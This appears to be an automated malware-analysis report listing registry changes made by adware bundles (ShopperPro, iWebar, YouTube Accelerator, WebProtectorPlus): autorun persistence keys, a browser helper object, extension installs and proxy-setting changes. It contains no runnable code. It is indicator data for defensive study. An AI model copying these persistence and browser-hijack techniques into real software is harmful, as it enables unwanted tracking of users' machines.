[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyOverride"
"AutoDetect"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyServer"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDetectedUrl"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"

The process ShopperPro.exe:1372 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKLM\SOFTWARE\Wow6432Node\ShopperPro]
"UserId" = "0af78b95-d2eb-4fd4-967a-6cd8a6a2e22d"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History]
"CachePrefix" = "Visited:"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\explorer\Browser Helper Objects\{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}]
"NoExplore" = "1"

[HKLM\SOFTWARE\ShopperPro]
"CONFIGLOCATION" = "C:\ProgramData\ShopperPro"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKLM\SOFTWARE\Wow6432Node\ShopperPro]
"Aff" = "smtyc"

[HKLM\SOFTWARE\ShopperPro]
"DBLocation" = "C:\ProgramData\ShopperPro"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDecisionTime" = "21 B2 C9 90 27 83 D0 01"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionTime" = "41 D4 A3 8E 27 83 D0 01"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDecisionReason" = "1"

[HKLM\SOFTWARE\Wow6432Node\ShopperPro]
"ExeLocation" = "%Program Files% (x86)\ShopperPro"
"Version" = "3.1.9318.1812"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content]
"CachePrefix" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadNetworkName" = "Network 4"

[HKLM\SOFTWARE\Wow6432Node\ShopperPro]
"DBLocation" = "C:\ProgramData\ShopperPro"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 5C 00 00 00 09 00 00 00 00 00 00 00"

[HKLM\SOFTWARE\Wow6432Node\ShopperPro]
"CONFIGLOCATION" = "C:\ProgramData\ShopperPro"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies]
"CachePrefix" = "Cookie:"

[HKLM\SOFTWARE\Wow6432Node\ShopperPro]
"ChromeExtFile" = "ShopperPro.crx"
"ChromeExtID" = "ojhagnahfpegocdhlopgljpaafeogmcc"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\explorer\Browser Helper Objects\{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}]
"(Default)" = "ShopperProBHO"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionReason" = "1"

[HKLM\SOFTWARE\Wow6432Node\ShopperPro]
"DriverVersion" = "1.42.0.1812"

[HKLM\SOFTWARE\Wow6432Node\ShopperPro\ExtraInfo]
"DBVersion" = "1.0.1.4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecision" = "0"

To automatically run itself each time Windows is booted, the Application adds the following link to its file to the system registry autorun key:

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run]
"SPDriver" = "%Program Files% (x86)\ShopperPro\JSDriver\1.42.0.1812\jsdrv.exe"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
"SPDriver" = "%Program Files% (x86)\ShopperPro\JSDriver\1.42.0.1812\jsdrv.exe"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyOverride"
"AutoDetect"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyServer"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDetectedUrl"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"

The process ProtectWindowsManager.exe:3340 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKLM\System\CurrentControlSet\services\eventlog\Application\WindowsMangerProtect]
"EventMessageFile" = "C:\ProgramData\WindowsMangerPro"
"TypesSupported" = "7"

The process ProtectWindowsManager.exe:3288 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 05 00 00 00 09 00 00 00 00 00 00 00"
"DefaultConnectionSettings" = "46 00 00 00 04 00 00 00 09 00 00 00 00 00 00 00"

[HKU\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionTime" = "7C B3 7F 7E 27 83 D0 01"

[HKU\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content]
"CachePrefix" = ""

[HKU\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDecisionReason" = "1"
"WpadNetworkName" = "Network 4"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKU\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionReason" = "1"

[HKU\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History]
"CachePrefix" = "Visited:"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKU\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecision" = "0"

[HKU\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDecision" = "0"

[HKU\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies]
"CachePrefix" = "Cookie:"

[HKU\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDecisionTime" = "7C B3 7F 7E 27 83 D0 01"

Proxy settings are disabled:

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"
"IntranetName"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoDetect"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"
"ProxyServer"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyOverride"

[HKU\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDetectedUrl"

[HKU\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl"

The process Rkkjgqolih.exe:3432 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\AppDataLow\Software\Crossrider]
"Bic" = "f1455de99fbc9c9080e7ed2fd747836eIE"

[HKLM\SOFTWARE\Wow6432Node\Tempo]
"(Default)" = "tempo"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDecision" = "0"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\iWebar]
"DisplayName" = "iWebar"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History]
"CachePrefix" = "Visited:"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\iWebar]
"CrAppId" = "70121"

[HKLM\SOFTWARE\Wow6432Node\AppDataLow\Software\Crossrider]
"Verifier" = "b2eb32d323f5359842a735827d51a4f5"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\iWebar]
"Publisher" = "Webby"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKLM\SOFTWARE\Wow6432Node\InstalledBrowserExtensions\21836\Status]
"Installed" = "1"

[HKLM\SOFTWARE\Wow6432Node\iWebar\Installer]
"BundledFirefox" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDecisionTime" = "39 44 50 97 27 83 D0 01"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionTime" = "04 BB 70 94 27 83 D0 01"

[HKLM\SOFTWARE\Wow6432Node\InstalledBrowserExtensions\21836]
"70121" = "iWebar"

[HKCU\Software\InstalledBrowserExtensions\21836\Status]
"Installed" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content]
"CachePrefix" = ""

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\iWebar]
"DisplayIcon" = "%Program Files% (x86)\iWebar\utils.exe"
"UninstallString" = "%Program Files% (x86)\iWebar\Uninstall.exe /fcp=1"

[HKCU\Software\AppDataLow\Software\Crossrider]
"Verifier" = "b2eb32d323f5359842a735827d51a4f5"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadNetworkName" = "Network 4"

[HKLM\SOFTWARE\Wow6432Node\AppDataLow\Software\Crossrider]
"Bic" = "f1455de99fbc9c9080e7ed2fd747836eIE"

[HKLM\SOFTWARE\InstalledBrowserExtensions\21836\Status]
"Installed" = "1"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\iWebar]
"DisplayVersion" = "1.36.01.22"
"CrPublisherId" = "21836"

[HKCU\Software\InstalledBrowserExtensions\21836]
"70121" = "iWebar"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 63 00 00 00 09 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies]
"CachePrefix" = "Cookie:"

[HKLM\SOFTWARE\InstalledBrowserExtensions\21836]
"70121" = "iWebar"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionReason" = "1"

[HKCU\Software\InstalledBrowserExtensions\Webby]
"70121" = "iWebar"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecision" = "0"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following registry key(s):

[HKLM\SOFTWARE\Wow6432Node\Tempo]

The Application deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyOverride"
"AutoDetect"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyServer"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDetectedUrl"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"

The process ProtectService.exe:3824 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 52 00 00 00 09 00 00 00 00 00 00 00"

[HKLM\SOFTWARE\Wow6432Node\IHProtect]
"ptid" = "smt"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"
"ProxyServer"
"ProxyOverride"
"AutoDetect"

The process ProtectService.exe:3704 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 04 00 00 00 09 00 00 00 00 00 00 00"

Proxy settings are disabled:

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyOverride"
"AutoDetect"
"AutoConfigURL"
"ProxyServer"

The process %original file name%.exe:2364 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKLM\System\CurrentControlSet\Control\Session Manager]
"PendingFileRenameOperations" = "\??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\biclient.exe,"

The process YouTubeAccelerator.exe:3572 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKCU\Software\Goobzo\YouTube Accelerator\Tracer]
"TraceDestination" = "3"

[HKLM\SOFTWARE\Wow6432Node\Licenses]
"{03B3ED09D712B0615}" = "56 3E A8 0E 0B A2 A7 A6 41 06 53 98 70 A4 44 A3"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDecision" = "0"

[HKCU\Software\Goobzo\YouTube Accelerator\Tracer]
"TraceLevel" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History]
"CachePrefix" = "Visited:"

[HKLM\SOFTWARE\Wow6432Node\Licenses]
"{I3B3ED09D712B0615}" = "0C 00 00 00"

[HKCU\Software\Goobzo\YouTube Accelerator\Tracer]
"TraceFolder" = "C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDecisionTime" = "04 BB 70 94 27 83 D0 01"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionTime" = "57 C5 A5 92 27 83 D0 01"

[HKCU\Software\Goobzo\YouTube Accelerator]
"UiResVer" = "1000008"

[HKCU\Software\Goobzo\YouTube Accelerator\Tracer]
"TimeStamp" = "1430385919"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content]
"CachePrefix" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadNetworkName" = "Network 4"

[HKCU\Software\Goobzo\YouTube Accelerator\Tracer]
"TimeLimit" = "1"

[HKCU\Software\Goobzo\YouTube Accelerator]
"CommTestBootNeeded" = "0"

[HKLM\SOFTWARE\Wow6432Node\Licenses]
"{K7C0DB872A3F777C0}" = "FB 05 39 72 4B 17 1F CD 22 18 2A 64 22 18 AF B6"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 62 00 00 00 09 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies]
"CachePrefix" = "Cookie:"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\RFC1156Agent\CurrentVersion\Parameters]
"TrapPollTimeMilliSecs" = "15000"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionReason" = "1"

[HKCU\Software\Goobzo\YouTube Accelerator\Tracer]
"TracerDoBackup" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecision" = "0"

To automatically run itself each time Windows is booted, the Application adds the following link to its file to the system registry autorun key:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
"GOOBZOYouTubeAccelerator" = "%Program Files% (x86)\YouTube Accelerator\YouTubeAccelerator.exe /startup"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoDetect"
"ProxyOverride"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Goobzo\YouTube Accelerator]
"ShowTrayMessage"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyServer"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDetectedUrl"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"

The process nsj5ED3.tmp:4264 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies]
"CachePrefix" = "Cookie:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionTime" = "C2 62 28 9C 27 83 D0 01"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDecision" = "0"

[HKLM\System\CurrentControlSet\Control\Session Manager]
"PendingFileRenameOperations" = "\??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\biclient.exe, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsiE2FF.tmp\nsProcess.dll, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsiE2FF.tmp\, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp532774\474.json, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp532774\images\code, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp532774\images, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp532774\tmp\474.db, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp532774\tmp\ChromeSync.exe, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp532774\tmp\ClearnC.exe, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp532774\tmp\RegWrite.exe, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp532774\tmp\wpm_v20.0.0.2227.exe, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp532774\tmp\XTab_Setup2253.exe, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp532774\tmp, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp532774\tmp, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp532774, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nst6596.tmp\nsProcess.dll, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nst6596.tmp\, , \??\C:\Users\"%CurrentUserName%"\AppData\ɦ"

[HKLM\SOFTWARE\Wow6432Node\Google\Chrome\Extensions\kfecnpmgnlnbmipaogfhoacoioifjgko]
"update_url" = "http://clients2.google.com/service/update2/crx"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History]
"CachePrefix" = "Visited:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content]
"CachePrefix" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionReason" = "1"

[HKLM\SOFTWARE\WebProtectorPlus]
"SID" = "OTgxMw=="

[HKCU\Software\Google\Chrome\Extensions\kfecnpmgnlnbmipaogfhoacoioifjgko]
"update_url" = "http://clients2.google.com/service/update2/crx"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadNetworkName" = "Network 4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 67 00 00 00 09 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDecisionReason" = "1"

"WpadDecisionTime" = "C3 57 96 CD 27 83 D0 01"

[HKLM\SOFTWARE\WebProtectorPlus]
"Gid" = "AA41FBD0-8410-4810-8C3A-4B4E97AEB741"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyOverride"
"AutoDetect"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyServer"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDetectedUrl"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"

The process wpm_v20.0.0.2227.exe:3324 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Wow6432Node\supWindowsMangerProtect]
"ptid" = "smt"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"
"UNCAsIntranet" = "0"

The Application deletes the following value(s) in system registry:

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"
"IntranetName"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

The process biclient.exe:1708 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies]
"CachePrefix" = "Cookie:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionTime" = "2D 85 33 3A 90 73 D0 01"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\DirectDraw\MostRecentApplication]
"ID" = "1337851866"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History]
"CachePrefix" = "Visited:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content]
"CachePrefix" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadNetworkName" = "Network 4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

